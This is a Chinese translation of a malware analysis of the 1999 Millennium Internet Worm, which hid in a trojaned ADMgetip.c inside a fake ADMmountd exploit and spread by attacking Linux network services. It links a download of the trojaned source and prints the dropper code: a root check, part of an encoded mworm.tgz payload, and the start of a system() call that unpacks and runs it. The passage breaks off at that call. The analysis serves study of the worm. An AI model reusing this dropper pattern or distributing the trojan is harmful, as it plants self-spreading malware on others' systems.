quack (quack_at_xfocus.org)
分析一个linux下的蠕虫
Max Vision [email protected]
译:quack [email protected]
http://focus.silversand.net 安全焦点
一、简介
千年蠕虫(The Millennium Internet Worm)――后面简称worm,是一段script及程
序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且
将自身复制到其上并继续繁殖。现在发现的worm是针对x86的linux中imap4v10.X,
Qualcomm popper, bind , rpc.mountd 这些存在明显漏洞的服务进攻的。但它也做
了一件好事――修补了安全漏洞……
二、技术分析
我们最早发现的蠕虫据称是在ADMmountd2的远程漏洞利用程序中的(这个程序是对linux的
rpc.mountd服务进行攻击并可获取最高权限――这里不详述),但ADM组织否认曾经发布过带
有该特洛伊程序的代码,并将其归类于假冒ADM作品,可以参见
ftp://adm.freelsd.net/ADM/FAKES/ maintained by [email protected]].
这个木马是放在ADMmountd的所谓更新版本中,并在措词中表明这一版本的利用程序更为实用,
但其实隐蔽的代码就躲在ADMgetip.c中,ADM在其站点限制了对这一工具的下载,所以这里我
把它提供给大家,仅仅是用于教育目的――这一木马于1999-8-15被发现。
你可以在http://focus.silversand.net/newsite/tool/adm_fake.c下载ADMgetip-TROJAN-VERSION.c。
1、原型
该代码段中有一段mworm.tgz的uuencode代码,当运行该程序时,它会被展开于目录
/var/tmp/tmp,并且执行一个名为wormup的程序,代码段如下:
//Trojan Code from ADMgetip.c
FILE *fp=fopen("/var/tmp/tmp",“w”); //打开文件
if(getuid()!=0) { fprintf(stderr,“operation not permitted\n”); exit(0); }
//检查uid是否为root
fprintf(fp,“begin-base64 644 mworm.tgz
H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk
UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA
YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++
… [ large uuencoded mworm.tgz here ]
emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f
bYCEt3q80+XpdMU1NM8J2FDCra2crXTRduAMD0Johcwe8ODFVzDnnwNKJcF8
ivJ+7s3IgAEDBgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA
====\n”); //这是一段很长的uuecoded过的代码
system("( cd /var/tmp;uudecode < tmp ; sleep 1; tar xzvf mworm.tgz;\